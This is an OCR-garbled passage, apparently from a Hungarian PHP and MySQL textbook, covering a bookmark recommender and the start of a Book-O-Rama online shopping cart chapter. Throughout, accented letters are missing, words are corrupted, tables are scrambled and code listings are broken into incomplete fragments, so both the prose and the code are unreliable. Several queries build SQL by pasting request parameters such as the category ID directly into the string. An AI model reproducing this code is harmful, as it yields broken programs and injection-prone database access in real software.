Egy msodik egymsba gyazott lekrdezssei kiszrjk az aktulis felhasznl knyvjelzit; ha a felhasznl sajt ma
gnak mr felvert egy knyvjelzt, nem sok rtelme lenne ugyanazt ajnlani neki. Vgezetl tovbbi szrst valsrunk meg
a $nepszeruseg vltozval. Nem szeretnnk tl szemlyes jelleg URL-eket ajnlani, ezrt csak olyan knyvjelzte hvjuk
fel a felhasznl figyelmt, amit a hasonl rdeklds felhasznlk listjbl adott szm szemly is felvert sajt knyvjelzi
kz. Az utols lekrdezs a kvetkezkppen nz ki:
SELECT kj_URL
FROM konyvjelzo
WHERE felhasznaloi nev IN
(SELECT DISTINCT(b2.felhasznaloi_nev)
FROM konyvjelzo bl,
konyvjelzo b2
!= b2.felhasznaloi nev
RL
HAVING COUNT(kj_URL)>".$nepszeruseg;
Ha azt tapasztaljuk, hogy mr j sok felhasznlja van rendszernknek, akkor a $nepszeruseg vltoz rtkt nvelve
csak olyan URL-eket ajnlunk, amelyeket kellen nagy szm felhasznl vert fel a listjba. A sokak ltal megjellt URL-ek
mgrt minden bizonnyal jobb s szlesebb kznsg szmra vonz honlapokat tallunk.
27
Az ajnlsokat elllt teljes kdot a 27.26 s a 27.27 pldakdban lthatjuk. A f kd neve aj anlas.ph p (27.26 plda
kd). Ez az, ami meghvja az url_fuggvenyek.php fggvnyknyvtrbl az ajnlsokat ad url_aj anlo () fggvnyt
(27.27 pldakd).
417
<?php
require_once('konyvjelzo_fuggvenyek.php');
session start();
html_fejlec_letrehozasa('Ajnlott URL-ek');
try
ervenyes felhasznalo_ellenorzese();
Surlek
url_ajanlo($_SESSION['ervenyes felhasznalo']);
ajanlott_urlek_megjelenitese($urlek);
catch(Exception $e)
echo $e->getMessage();
felhasznaloi_menu_megjelenitese();
html_lablec_letrehozasa();
?>
27.27 pldakd:
URL-eket
function url_ajanlo($ervenyes felhasznalo,
$nepszeruseg
l)
akkor elkpzelhet,
konyvjelzo b2
WHERE bl.felhasznaloi_nev='".$ervenyes_felhasznalo."'
AND bl.felhasznaloi nev
AND bl.kj URL
!= b2.felhasznaloi nev
b2.kj_URL)
if
27
418
27. fejezet
if ($eredmeny->num_rows==O)
Surlek = array();
$sor = $eredmeny->fetch_object();
$urlek[$szamlalo]
$szamlalo++)
= $sor->kj_URL;
return $urlek;
tlll
cr
._..
. a
.._"..
_.....
eo--
)>oi
:Y..,
PHPbookmark
Ajnlott URL-e
Az adatbzisban legalbb kt olyan msikJelhasznl van, aki szereti az oldalt, s Jelvette knyvjelzi kz.
Hogyan tovbb?
A kvetkez projektben online vsrlsra alkalmas kosarat hozunk ltre, amely lehetv teszi oldalunk ltogatinak, hogy bn
gszs kzben, vsrlsuk vglegestse s az elektronikus fizets eltt abba rakjk a kivlasztott termkeket.
27
28
Kosr funkci programozsa
A fejezerben megtanuljuk, hogyan kszthetnk oldalunk ltogati szmra vsrlst lehetv tev kosarat. A kosr funkcit
A
MySQL hasznlata cm II. rszben kidolgozott Book-O-Rama adarbzisra lrerjk. A fejezer vgn rviden megvizsgljuk
annak lehersgr, hogy ltez, nylt forrskd PHP kosarat llrunk be s vesznk ignybe weboldalunkon.
Kosr (angolul shopping eart vagy shopping basker) funkci alatt az online vsrls mechanizmust rtjk. Mikzben online
katalgust bngsznk, kosrba tehetjk (kivlaszthatjuk) az egyes termkeket. Ha befejezrk a bngszst, az online bolt
kasszjhoz jrulunk - vagyis kifizetjk a kosarunkba tett termkeket.
A jelenlegi projekt kosr funkcijnak megvalstshoz az albbiakra lesz szksgnk:
Az online rtkesteni kvnt termkek adarbzisa
Online rermkkaralgus, amely karegrikra bonthat
Kosr, arnivel nyomon kvethetjk a felhasznl ltal megvsrolni kvnt termkeker
A fizetsi s szllrsi adatokat feldolgoz pnztr funkci
Adminisztrcis fellet
A megolds alkotelemei
Bizonyra emlksznk a II. rszben kidolgozott Book-O-Rama adatbzisra. Mostani projektnkben a Book-O-Rama kny
vesbolt online ruhzt fogjuk beindtani. A megolds alkotelemeinek az albbi ltalnos elvrsoknak kell megfelelnik:
Meg kell tallni annak mdjr, hogyan kapcsolhatjuk ssze az adarbzist a felhasznlk bngszjveL A felhasznlk
szmra lehetv kell tennnk a termkek karegrinknti bngszsr.
A felhasznlk kivlaszthatjk a katalgusbl a ksbb megvsrolni kvnt termkeket. Nyomon kell kvetnnk, hogy
mely termkeker vlaszrottk ki.
Miutn a felhasznlk befejeztk a vsrlst, ki kell szmolnunk rendelsk vgsszegt, be kell krnnk szllrsi adata
ikat, majd fel kell dolgoznunk fizetsket.
Adminisztrcis felletet kell fejlesztennk a Book-O-Rama oldalhoz, hogy a rendszergazda knyveket s kategrikat
adhasson az oldalhoz, illetve szerkeszrhesse a meglvket.
Most, hogy megismertk a projekttel szembeni elvrsokat, elkezdhetjk megtervezni a megoldst s alkotelemeit.
az
28
420
28. fejezet
A kivlasztott ttelek munkamenet-vltoz segtsgvel trtn nyilvntartsa egyszerbben programozhat, mert nem
szksges minden egyes alkalommal az adatbzist lekrdezve beszerezni az informcit. Ezzel a mdszerrel az is elkerl
28
het, hogy a csak bngsz, de vgl a kivlasztorr termkeket meg nem vsrl felhasznJk egy csom felesleges adarral
terheljk az adatbzist.
Ezrt munkamenet-vltozt vagy vltozkat kell kialaktani a felhasznJk ltal kivlasztorr termkek trolsra. Ami
kor egy felhasznl befejezi a vsrlst, s kifizeti a megrendelt termkeket, a munkamenet-vltozban trolt informcikat
a tranzakci rekordjaknt eltroljuk az adatbzisban.
Ezeket az adatokat arra is felhasznlhatjuk, hogy az oldal valamelyik sarkban rvid sszegzs adjunk a kosr aktulis tartal
mrl, gy a felhasznl tisztban lehet vele, hogy mennyit kell m:Yd fizetnie az addig kivlasztott termkekrt.
A megolds ttekintse
Rakjuk most ssze az eddig ttekinterr elemeket! A rendszernknek kt alapnzere van: az egyik a felhasznli, a msik
a rendszergazdai nzet. Az elvrt funkcik vgiggondolsa utn kt folyamatbrt kaptunk, egyet-egyet a klnbz nzetek
hez. A 28.1, illetve a 28.2 brn lthatjuk ezeket.
421
28
28.1 bra: A Book-O-Rama rendszer felhasznli nzetben a ltogatk kategrikban bngszhetnek a knyvek kztt,
28.2 bra: A Book-O-Rama alkalmazs rendszergazdai nzetben knyveket s kategrikat lehet fe/vinni, szerkeszteni s trlni.
A 28.1 bra az oldal felhasznli fellett alkot kdok kztri fbb kapcsolatokat mutatja. A vsrl elszr a nyitoldalra
jut, amely az oldalon tallhat sszes knyvkategrit felsorolja. Innen adott kategrira, onnan pedig az egyes knyvek rszle
tes adataira lphet tovbb. A knyvek mell hivatkozst adunk a felhasznlknak, hogy kosarukba tehessk az rut. A kosrbl
az online bolt pnztrba mehernek tovbb.
A 28.2 brn az adminisztrcis felletet ltjuk, amely tbb kdot tartalmaz ugyan, m ezekben nem sok jdonsg lesz. Ezek
a kdok lehetv teszik a rendszergazdnak, hogy bejelentkezzen, majd knyveket s kategrikat adjon hozz a meglvkhz.
A knyvek s kategrik szerkesztsnek s trlsnek Iehetsgc a legegyszerbben gy valsthatjuk meg, ha az oldal
felhasznli fellethez hasonl, m arrl kiss eltr verzit jelenrunk meg a rendszergazdnak. is bngszhet a kategrik
s a knyvek kztr, m a kosr helyerr az egyes knyvekre vagy kategrikra naviglhat: szerkesztheti vagy trlheti azokat.
Azzal, hogy ugyanazokat a kdokat a rendes felhasznJk s a rendszergazdk szmra is hasznlhatv tesszk, idt s ener
git takartharunk meg.
Az alkalmazs hrom legfbb kdmodulja a kvetkez:
Katalgus
Kosr funkci s a rendels feldolgozsa (a kt, egymssal ersen sszefgg terletet egy kalap al vesszk)
Adminisztrci
422
28. fejezet
Akrcsak az elz fejezetben, most is fuggvnyknyvtrak sort hozzuk ltre, illetve hasznljuk. Ehhez a projekthez az el
zben ltotthoz hasonl fuggvny API-t fogunk ignybe venni. Prbljuk meg a HTML-t elllt kdokat egyetlen knyvrr
28
ba pakolni, mert ezzel egyrszt a mkds s a tartalom elvlasztsnak elvt kvetjk, msrszr - s ez a lnyegesebb - kny
nyebben olvasharv s kezelherv tesszk kdunkat!
A projekt rdekben aprbb vltoztatsokat kellett vgrehajtanunk a Book-O-Rama adatbzison, amit a II. rszben ltreho
zott adarbzisrl megklnbztetend a konyv _kosar nvre kereszreltnk r.
A projekt teljes kdja megtallhat a letlthet mellkletek kze. A 28.1 tblzat az alkalmazs ltal hasznlt fjlokat foglal
ja ssze.
28.1 tblzat: A
Nv
Modul
Lers
index.php
Katalgus
kategoria_megjelenitese.php
Katalgus
konyv_megjelenitese.php
Katalgus
kosar_megjelenitese.php
Kosr
penztar.php
Kosr
vasarlas.php
Kosr
feldolgozas.php
Kosr
bejelentkezes.php
Adminisztrci
oldal.
adatbzishoz hozzad kd.
A mdosrsokhoz szksges rendszergazdai
bejelentkezst lehetv tev kd.
kijelentkezes.php
Adminisztrci
admin.php
Adminisztrci
A f adminisztrcis men.
Jelszo_valtoztatas_urlap.php
Adminisztrci
jelszo_valtoztatas.php
Adminisztrci
kategoria_beszurasa_urlap.php
Adminisztrci
kategoria_beszurasa.php
Adminisztrci
konyv_beszurasa urlap.php
Adminisztrci
Adminisztrci
kategora_szerkesztese_urlap.php
Adminisztrci
kategoria szerkesztese.php
Adminisztrci
hetik a kategrikat.
A szerkesztett kategrit az adatbzisban
mdost kd.
konyv_szerkesztese_urlap.php
Adminisztrci
konyv_szerkesztese.php
Adminisztrci
kategoria_torlese.php
Adminisztrci
Nv
Modul
Lers
konyv_ torlese.php
Adminisztrci
Fggvnyek
admin_fuggvenyek.php
Fggvnyek
konyv_fuggvenyek.php
Fggvnyek
vnyek gyjtemnye.
A knyvadatok trolsra s visszakeressre
szolgl fggvnyek gyjtemnye.
Fggvnyek
rendelesi fuggvenyek.php
Fggvnyek
adat_ellenorzo fuggvenyek.php
Fggvnyek
adatbazis fuggvenyek.php
Fggvnyek
kimeneti
fuggvenyek.php
gyjtemnye.
fggvnyek gyjtemnye.
A konyv_kosar adatbzishoz kapcsolds
ra hasznlt fggvnyek gyjtemnye.
Fggvnyek
konyv_kosar.sql
SQL
feltoltes.sql
SQL
felhasznaloi hitelesites
-
fuggvenyek.php
Megjegyzs: Az alkalmazs komoly mennyisg kdbl pl fel. Ezek nagy rsze korbban (elssorban a 27. fejezetben) mr
megismert Junkcikat valst meg, pldul adatok trolst s visszakeresst adatbzisbl, illetve a rendszergazdaiJelhasznl
hitelestst. Rviden ezeket a kdokat is ttekink, m idnk nagy rszt a kosrfunkciknak szenteljk.
Az adatbzis ltrehozsa
Ahogy korbban mr jelezrk, aprbb mdostsokat hajtottunk vgre a II. rszben megismert Book-O-Rama adatbzison.
A konyv_kosar adatbzist elllt SQL kdot a 28.1 pldakd tartalmazza.
28.1 pldakd: konyv _kosar.sql-
CHAR(20),
CHAR(lO),
REFERENCES vasarlok(vasarloiD),
423
28
424
28. fejezet
osszeg FLOAT(6,2),
datum DATE NOT NULL,
28
rendeles_allapota CHAR(lO),
szallitasi nev CHAR(60) NOT NULL,
szallitasi eim CHAR(80) NOT NULL,
szallitasi_varos CHAR(30) NOT NULL,
szallitasi allam CHAR(20),
szallitasi_irsz CHAR(lO),
szallitasi_orszag CHAR(20) NOT NULL
TYPE=InnoDB;
j elszo
);
Semmi problma nem volr ugyan az eredeti Book-O-Rama felletre!, most azonhan tovbbi kvetelmnyeknek is meg kell
felelnie adatbzisunknak ahhoz, hogy online elrhetv rehessk.
Az eredeti adatbzison a kvetkez vltoztatsokat hajtottuk vgre:
Tovbbi cmmezk felvtele a vsrlkhoz. Ezekre az j mezkre azrt van szksg, mert a most ltrehozand alkalma
zs sokkal kzelebb ll a valdi projekrekhez.
A szllrsi cm hozzadsa a rendelshez. A vsrl elrhersge nem minden esetben azonos a szlltsi cmmel, kl
nsen akkor nem lesz az, ha pldul ajndkot vsrol az oldalon.
425
A kategoriak rbla ltrehozsa s a konyvek rblhoz hozzadorr kategoriaiD os:dop. A knyvek kategrik
ba rendezse knnyebben bngszherv teszi az oldalt.
A tetel_ara felvrele a rendelesi_tetelek tblba. Erre azrt van szksg, merr az egyes termkek ra vltoz
har. Fontos tudnunk, hogy mennyibe kerlt az adott rrel, amikor a vsrl megrendelte.
Az admin tbla hozzadsa az adatbzishoz. Erre a tblra a rendszergazda felhasznli neve s jelszava trolsa miatt
van szksgnk.
Az rtkelseket tartalmaz tbla eltvoltsa. Ennek ellenre a projektet a ksbbiekben kiegszthetjk az egyes
knyvekhez hozzadhat rtkelsekkeL Az rtkelsek helyett a knyv rvid lerst tartalmaz mezvel bvtettk ki
a konyvek tblt.
A trolmotorok InnoDB-re vltsa. Azrr tettnk gy, hogy idegen kulcsokkal dolgozhassunk, illetve hasznlni tudjuk
a tranzakcikat, amikor a vsrlk megrendelseinek adatait visszk be az adatbzisba.
Ahhoz, hogy fellltsuk rendszernkn ezt az adatbzist, futtassuk root MySQL-felhasznlknt a konyv_kosar. sql
kdot az albbiak szerinr:
mysql
-u root -p <
konyv_kosar.sql
C )
.,j--=--,.;,;.;,-,;;--
.g___.-.- ---
-
K05z6ntjk a Book-O-Rama knyvesbortbanl
:= r-=-W)
--
Figyeljk meg, hogy az oldalon elrhet kategrik list:ija mellett a kosrra mutar hivatkozst is ltharunk a kperny jobb
fels sarkban! Ugyanitt a kosr aktulis rarralmrl is megjelennek sszefoglal adatok. Ezek az elemek minden oldalon lt
hatk lesznek, amig a felhasznl vlogat s vsrol az oldalon.
Ha a vsrl a kategrik valamelyikre kattint, akkor az adott kategria oldalra kerl, amit a kategoria_
megj elenitese. php
Az internetes kategriba tartoz sszes knyv hivatkozsknt szerepel. Ha a felhasznl rkattint valamelyik hivatkozsra,
a knyv rszletes adatait tartalmaz oldalra kerl. A 28.5 brn az egyik knyvet rszletesen bemutat oldalt lthatjuk.
Az ezeken az oldalakon lthat"Kosrba tesz" gomb lehetsget ad a felhasznlknak, hogy vsrls cljbl kivlasszk
a rermket. Erre a funkcira ksbb, amikor megnzzk, hogyan hozhatjuk ltre a kosarat, visszatrnk majd.
Vizsgljuk meg most egyenknt ezt a hrom kdot!
28
426
28. fejezet
28
28.5 bra: Mindegyik knyvnek sajt oldala van, amely tovbbi informcit, egyebek kztt hosszabb lerst tartalmaz a kiadvnyrl.
Kategrik listzsa
A projektben hasznlt els kd, az index.php az adatbzisban lev sszes kategrit kilistzza. A kdot a 28.2 pldakdban
lthatjuk.
28.2 pldakd: index. ph p -Az online knyvesbolt nyitoldalt elllt kd
<?php
session start();
vlasszon kategrit:<lp>";
kategerlak lekerese();
"admin-menu",
"Admin men");
28
html_lablec_letrehozasa
olyan utastsokat is tartalmaz, amelyekkel megllapthat, hogy a felhasznl rendszergazdaknt lpett-e be, hiszen ebben az
esetben msmilyen navigcis lehetsgeket kell megjelenteni. Erre a krdsre mg visszatrnk majd a rendszergazdai funkci
kkal foglalkoz rszben.
A kd legfontosabb rsze a kvetkez:
ll kategrik kigyjtse az adatbzisbl
$kat_tomb = kategoriak_lekerese();
kimeneti_fuggvenyek.php
megtallhat kategrik tmbjt adja vissza, amit a kategoriak _megjelenitese() fggvnynek adunk t. Nzzk meg
elszr a kategoriak_lekerese () fggvny kdjt, amit a 28.3 pldakdban tallunk!
28.3 pldakd: A konyv_fuggvenyek. php knyvtr kategoriak_ lekerese ()fggvnye- Ez afggvny keresi vissza
"SELECT kategoriaiD,
$lekerdezes
$eredmeny
@$kapcsolat->query($lekerdezes);
if
kategoria_neve
FROM kategoriak";
(! $eredmeny)
return false;
$kategoriak_szama
@$eredmeny->num_rows;
if ($kategoriak_szama ==
0)
return false;
$eredmeny = adatbazis_eredmenyek_tombbe($eredmeny);
return $eredmeny;
A kdbl kiderl, hogy a kategori ak_lekerese() fggvny kapcsoldik az adatbzishoz, s visszakeresi a kategria
azonosrk s -nevek listjt. Ehhez rtunk egy adatbazis _ eredmenyek _tombbe ( ) nev fggvnyt, amely az
adatbazis_fuggvenyek. php
eredmeny
vltozt, s sorok numerikusan indexelt tmbjt adja vissza, ahol a sorok mindegyike asszociatv tmb.
427
428
28. fejezer
for ($szamlalo=O;
$sor = $eredmeny->fetch_assoc();
$szamlalo++) {
$eredmeny_tomb[$szamlalo] = $sor;
28
return $eredmeny_tomb;
Jelen esetben ezr a rmbr visszajuttatjuk az index. php kdba, ahol is a kimeneti_ fuggvenyek. php knyvtr
kategoriak_megjelenitese() fggvnynek adjuk r. Ez a fggvny hivatkozsknt jelenti meg az egyes kategrikat,
amely hivatkozsok az adott kategriban lv knyveket megjelent oldalra mutarnak. Kdjt a 28.5 pldakdban ralljuk.
function kategoriak_megjelenitese($kat_tomb)
if (! is_array($kat_tomb))
echo "<ul>";
foreach ($kat tomb as $sor) {
$url
$eim);
echo "</li>";
echo "</ul>";
echo "<hr />";
{kategoriaiD) rendelkezik. (Ez a MySQL ltal generlt egyedi szm azonostja a kategrit.) Ez a paramter hatrozza
meg, hogy az adott hivatkozsra katrintva melyik kategrit fogjuk ltni.
<?php
session_start();
include ('konyv_kosar_fuggvenyek.php');
ll
$kategoriaiD = $_GET['kategoriaiD'];
$nev = kategoria_nev_lekerese($kategoriaiD);
429
28
konyvek_megjelenitese($konyv_tomb};
"tovabb",
gomb_megjelenitese("admin.php",
"admin-menu",
"Tovbb"};
"Admin men"};
gomb_megjelenitese("kategoria_szerkesztese urlap.php?kategoriaiD=".$kategoriaiD,
"kategoria-szerkesztese",
else
"Kategria szerkesztse"};
gomb_megjelenitese("index.php",
"vasarlas-folytatasa",
"Vsrls folytatsa"};
html_lablec_letrehozasa(};
?>
A fenti kd szerkezetileg a nyitoldalhoz hasonl, a klnbsg annyi, hogy kategrik helyett most knyveket keresnk
vissza az adatbzisbL
Szoks szerint a session_start(} fggvnnyel indtunk, majd a kategoria _nev_lekerese(} fggvnnyel kateg
rianvv alaktjuk t az radott kategriaazonostt:
$nev = kategoria_nev_lekerese($kategoriaiD};
FROM kategoriak
'".$kategoriaiD."'";
@$kapcsolat->query($lekerdezes};
(! $eredmeny} {
return false;
$kategoriak_szama
@$eredmeny->num rows;
if ($kategoriak szaroa ==
0}
return false;
$sor = $eredmeny->fetch_object(};
return $sor->kategoria neve;
A kategria nevnek megllaptsa utn elksztjk a HTML fejlcet, majd az adott kategriba es knyvek visszakeress
vel s listzsval folytatjuk a kdot:
$konyv_tomb = konyvek_lekerese($kategoriaiD};
konyvek_megjelenitese($konyv_tomb};
430
28. fejezet
adott knyv sajt oldalra jutunk. A hivatkozsokhoz megint csak uttagknt adunk egy paramtert, amely jelen esetben az
28
bejelentkezett felhasznlk szmra. Ezeket a funkcikat a rendszergazdai felhasznlkkal foglalkoz rszben vizsgljuk meg.
<?php
session start();
include ('konyv_kosar_fuggvenyek.php');
$isbn = $_GET['isbn'l;
"index.php";
if($konyv [ 'kategoriaiD' l)
$cel = "kategoria_megjelenitese.php?kategoriaiD=".$konyv['kategoriaiD'l;
"Ttel szerkesztse");
"admin-menu",
"tovabb",
"Admin men");
"Tovbb");
gomb_megjelenitese("kosar_megjelenitese.php?uj=".$isbn,
"kosarba-tesz",
"vasarlas-folytatasa",
"Vsrls folytatsa");
Ezzel a kddal is valami hasonlt rnk el, mint az elz kt oldalon hasznlttal. Elszr is egy munkamenetet kezdnk,
majd a
$konyv = konyvadatok_lekerese($isbn);
431
Vegyk szre, hogy a konyvada tok_megj elen i tese ( ) fggvnyben egy kpfjl r keresnk a knyvhz az
images/". $konyv ['isbn' J
".jpg elrsi tvonallal. amelyben a fjl neve a knyv ISBN-kdja plusz a Jpg kiterjeszts!
Ha a fjl nem tallhat az images, vagyis.. kpek" almappban, nem fog kp megjelenni. A konyv_megjelenitese. php
kd tbbi rsze navigcis lehetsgeket ad az oldal lrogarjnak. Az ltalnos felhasznJk a.,Vsrls folytars' s a.,Ko
srba resz" gomb kzl vlaszthatnak. Az elbbi a kategrikat megjelent oldalra viszi a felhasznlkat, az utbbival pedig
kosarukba rakharjk az adott knyvet. Ha a felhasznl rendszergazdaknt jelentkezerr be, ms lehetsgek kzl vlaszthar ezeker az adminisztrcit trgyal rszben mutatjuk be.
Ezzel tnztk a katalgusrendszer alapjait, gy kvetkezhernek a kosr funkcit megvalst kdok.
Kosata
---
28.6 bra: A paramter nlkl meghvott kos ar_ megjelenitese. php kd egysuren a kosr tartalmt jelenti meg.
Ebben az esetben res volt a kosarunk, amikor a.,Kosr megtekints' gombra kartintottunk-vagyis mg egyeden knyver
sem jelltnk ki vsrlsra.
A 28.7 bra egy kicsir tovbb megy, merr kr knyv kivlasztsa utn murarja a kosarat. Ebben az esetben knyvnk angol
eredetijnek, a PHP and MySQL Web Development cm ktetnek az oldaln rallhat .Kosrba tesz" gombra kattintva jutor
tunk el erre az oldalra. Ha alaposabban szemgyre vesszk az URL-t tartalmaz svor, lthatjuk, hogy ezttal paramterrel
hvtuk meg a kdot. A paramter neve
u j,
rtke pedig O 6 723 29 7 6X - ez pedig nem ms, mint az imnr a kosrba terr knyv
ISBN-kdja.
Ezen az oldalon kt lehetsg kzl vlasztharunk. A .. Vltoztatsok ments' gombbal a kosrban lev rtelek mennyis
gnek vltozsait mentherjk el. Ez gy zajlik, hogy a felhasznl kzvetlenl megvltoztathatja az egyes rtelek mennyisgr,
m:yd rkarrint a gombra. Ez lnyegben egy klds gomb, amely a kosar_ megjeleni tese. php kdhoz viszi vissza a fel
hasznlt, hogy frisstse a kosarat.
A felhasznl msik lehetsge a.,Tovbb a pnzrrhoz" gombra kattints. Ezt akkor kell megtennie, ha kszen ll a fizetsre.
Rvidesen visszatrnk mg erre a funkcira.
28
432
28.fezet
28
@$uj= $_GET['uj'];
if($uj)
$ SESSION['kosar'] [$uj] = l;
tetelek_szamolasa($ SESSION['kosar' l ) ;
unset($_SESSION['kosar' l [$isbn]);
else
$_SESSION['kosar'][$isbn]
$ POST[$isbn];
$_SESSION['vegosszeg']
433
ar_szamolasa($ SESSION['kosar']};
$_SESSION['tetelek'] = tetelek_szamolasa($_SESSION['kosar']};
28
html fejlee letrehozasa("Kosara"};
if(($_SESSION['kosar']}
&&
(array_count_values($_SESSION['kosar']}}}
kosar_megjelenitese($ SESSION['kosar']};
else
echo "<p>Kosara jelenleg Ures<lp><hrl>";
$cel = "index.php";
ll ha az imnt beraktunk egy termket a kosrba,
ll folytassuk a vsrlst ugyanabban a kategriban!
if($uj}
$adatok = konyvadatok_lekerese($uj};
if($adatok['kategoriaiD']}
$cel = "kategoria_megjelenitese.php?kategoriaiD=".$adatok['kategoriaiD'];
gomb_megjelenitese($cel,
"vasarlas-folytatasa",
"Vsrls folytatsa"};
hasznljuk ezt!
$ SERVER['PHP_SELF'];
$ SERVER['SERVER_NAME'];
ll $eleresi_utvonal = str_replace('kosar_megjelenitese.php',
$eleresi_utvonal};
ll gomb_megjelenitese("https:ll".$szerver.$eleresi_utvonal."penztar.php",
"tovabb-a-penztarhoz",
ll
"Tovbb a pnztrhoz"};
"tovabb-a-penztarhoz",
"Tovbb a pnztrhoz"};
html lablec_letrehozasa(};
?>
A kd hrom f rszbl ll: a kosr megjelentse, a termkek kosrba ttele s a vltoztatsok mentse. A kvetkez oldala
kon ezt a hrom rszt tekintjk t.
A kosr megjelentse
Fggetlenl attl, hogy milyen oldalrl jvnk, megjelentjk a kosr tartalmr. Alapesetben, amikor a felhasznl a,.Kosr
megrekints' gombra kattint, a kdnak csak az albbi rsze fog vgrehajtdni:
if(($_SESSION['kosar']}
&&
(array_count_values($ SESSION['kosar']}}}
kosar_megjelenitese($_SESSION['kosar']};
J else
A fenti kdbl kiderl, hogy ha kosarunk nem res, a kosar_megjelenitese(} fggvnyt fogjuk meghvni. res kosr
esetn ezt kzl zenetet adunk a felhasznlnak.
A kosar_megjelenitese(} fggvny semmi mst nem teszi, mint olvashat HTML formtumban megjelenti
a kosr tartalmt-ezt lthattuk a 28.6 s 28.7 brn. A fggvny kdjt a 28.10 pldakd ltal megjelentett kimeneti_
434
28. fejezet
fuggvenyek.php f:ijlban talljuk. Noha megjelent fggvnyrl van sz, viszonylag sszetett a mkdse, ezrt rdemes
28
formz s kirfggvny
function kosar_megjelenitese($kosar, $valtoztatas = true, $kepek = l)
(l - igen, O - nem)
+ $kepek)."\" bgcolor=\"#cccccc\">Item</th>
<th bgcolor=\"#cccccc\">Ar</th>
<th bgcolor=\"#cccccc\">Mennyisg</th>
<th bgcolor=\"#cccccc\">sszesen</th>
</tr>";
ll a ttelek megjelenitse sorokknt
foreach ($kosar as $isbn => $darabszam)
$konyv
konyvadatok_lekerese($isbn);
echo "<tr>";
if($kepek == true)
width=\"". ($meret[0]/3)."\"
height=\"".($meret[l]l3)."\"/>";
else
echo " ";
echo "</td>";
echo "<td align=\"left\">
<a href=\"konyv_megjelenitese.php?isbn=".$isbn."\">".$konyv['cim']."</a>
by ".$konyv['szerzo'] ."</td>
<td align=\"center\">\$".number_format($konyv['ar'], 2) ."</td>
<td align=\"center\">";
ll ha engedjk a vltoztatst, a darabszmok a szvegdobozba kerlnek
if ($valtoztatas == true)
435
)
ll sszesen sor megjelenitse
echo "<tr>
<th colspan=\"". (2+$kepek) ."\" bgcolor=\"#cccccc\"> </td>
<th align=\"center\" bgcolor=\"#cccccc\">".$_SESSION['tetelek'l ."</th>
<th align=\"center\" bgcolor=\"#cccccc\">
\$".number_format($_SESSION[ 'vegosszeg'l,
2) . "
</th>
</tr>";
ll vltoztats mentse gomb megjelenitse
if ($valtoztatas == true)
echo "<tr>
<td colspan=\"". (2+$kepek) ."\"> </td>
<td align=\"center\">
<input type=\"hidden\" name=\"mentes\" value=\"true\"/>
<input type=\"image\" src=\"images/valtoztatasok-mentese.gif\"
border=\"0\" alt=\"Vltoztatsok mentse\"/>
<ltd>
<td> </td>
</tr>";
echo "</form></table>";
Ciklus segtsgvel vgiglpked a kosrban lv sszes ttelen, s egyenknt tadja azok ISBN -kdjt a konyvadatok_
lekerese () fggvnynek, hogy megjelenthesse a knyvek adatait.
2.
Megjelenti az adott knyvhz tartoz kpet, amennyiben az elrhet. A kp mrett szablyoz HTML cmkkkel (tag)
kisebbre veszi az itt megjelentett kpet. Ez azt jelenti, hogy a kpek torzulnak egy kicsit, m elg aprk ahhoz, hogy ez ne
okozzon tl nagy problmt. (Ha a torzts zavar, a Kpek ellltsa cm 22. fejezetben bemutatott gd knyvtr segts
gvel mretezzk t a kpeket! Egy msik lehetsg, ha sajt kezilleg ksztjk el az egyes termkek kisebb kpeit.)
3.
A kosr nnden egyes ttelnl a megfelel knyvre mutat hivatkozst hoz ltre- vagyis paramterknt az ISBN-k
dot tadva meghvja a konyv _megjeleni tese. php kdot.
4.
Ha gy hvjuk meg a fggvnyt, hogy a valtoztatas paramter rtkt true-ra lltjuk (vagy nem adjuk meg az
rtkr, s ebben az esetben az alaprtelmezett rtkvel-true- hasznljuk), akkor a szvegdobozokban ott talljuk
"
a darabszmokat, illetve a"Vltoztatsok mentse gomb zrja ezt a lnyegben rlapknt mkd rszt. (Amikor a fize
tsnl majd jra felhasznljuk ezt a fggvnyt, akkor mt nem kvnjuk felajnlani a felhasznlnak a lehetsget, hogy
mdostsa rendelst.)
Semmi rdngssg nincsen ebben a fggvnyben, de elg nagy munkt vgez, ezrt rdemes alaposan tolvasni s rtelmez
ni az utastsait.
$_SESSION['kosar'l = array();
$_SESSION['tetelek'l
= O;
$ SESSION['vegosszeg'l ='0.00';
28
436
28.fgezer
28
else
$_SESSION['kosar'] [$uj]
= l;
Itt azt ellenrizzk, hogy a kosrban megtallhat-e mr az adott knyv. Ha igen, akkor a kosrban lv mennyisgr eggyel
megnveljk. Ha nincs benne, akkor hozzadjuk a kosrhoz.
Harmadsorban ki kell szmolnunk a kosrban lv ttelek szmt s rt. Ehhez az ar_szamalasa () s a tetelek
szamalasa () fggvnyt hasznljuk az albbiak szerint:
$_SESSION['vegosszeg']
= ar_szamolasa($_SESSION['kosar']);
$ SESSION['tetelek'] = tetelek_szamolasa($_SESSION['kosar']);
Ezek a fggvnyek a konyv fuggvenyek.php fggvnyknyvtrban tallhatk. Kdjukat a 28.11, illetve a 28.12 plda
_
kd tartalmazza.
28.11 pldakd: A konyv_fuggvenyek. php knyvtr ar_szamolasa ()fggvnye- A kosr tartalmnak teljes rt kisz
mol s visszaadfggvny
function ar_szamolasa($kosar)
0.0;
if(is_array ($kosar))
$eredmeny = $kapcsolat->query($lekerdezes);
if ($eredmeny)
$tetel = $eredmeny->fetch_object();
$tetel_ara = $tetel->ar;
$ar +=$tetel_ara*$darabszam;
return $ar;
A kdbl kiderl, hogy az ar_szamalasa () fggvny gy mkdik, hogy kikeresi az adatbzisbl a kosrban lv min
den egyes ttel rt. Ez a folyamat viszonylag hosszan is eltarthat, ezrt azt elkerlend, hogy a kelletnl tbbszr vgrehajt
suk, az rat (s a rtelek darabszmt) munkamenet-vltozknt eltroljuk, s csak akkor szmoljuk ki jra az sszeget, ha
a kosr tartalma mdosul.
28.12 pldakd: A konyv_fuggvenyek.php knyvtr tetelek_szamalasa ()fggvnye- A kosrban lv ttelek sz
mt kiszmo/ s visszaadfggvny
function tetelek_szamolasa($kosar)
return $tetelek;
437
A tetelek_ szarnelasa () fggvny valamivel egyszerbb; szimpln vgigmegy a kosr tartalmn, s az egyes ttelek da
rabszmt sszeadva kiszmolja a kosrban lev termkek szmt. Ha a tmb mg nem ltezik (vagyis a kosr res), akkor O-t
28
(nullt) ad vissza.
if(isset($_POST['mentes']))
$_SESSION['kosar'] [$isbn]
$ POST[$isbn];
Ebben a kdban vgigmegynk a kosron, s a benne lev minden isbn kdnl ellenrizzk az ugyanolyan nev POST vl
"
tozt, amik a"Vltoztatsok mentse rlapbl szrmaz rlapvltozk lesznek.
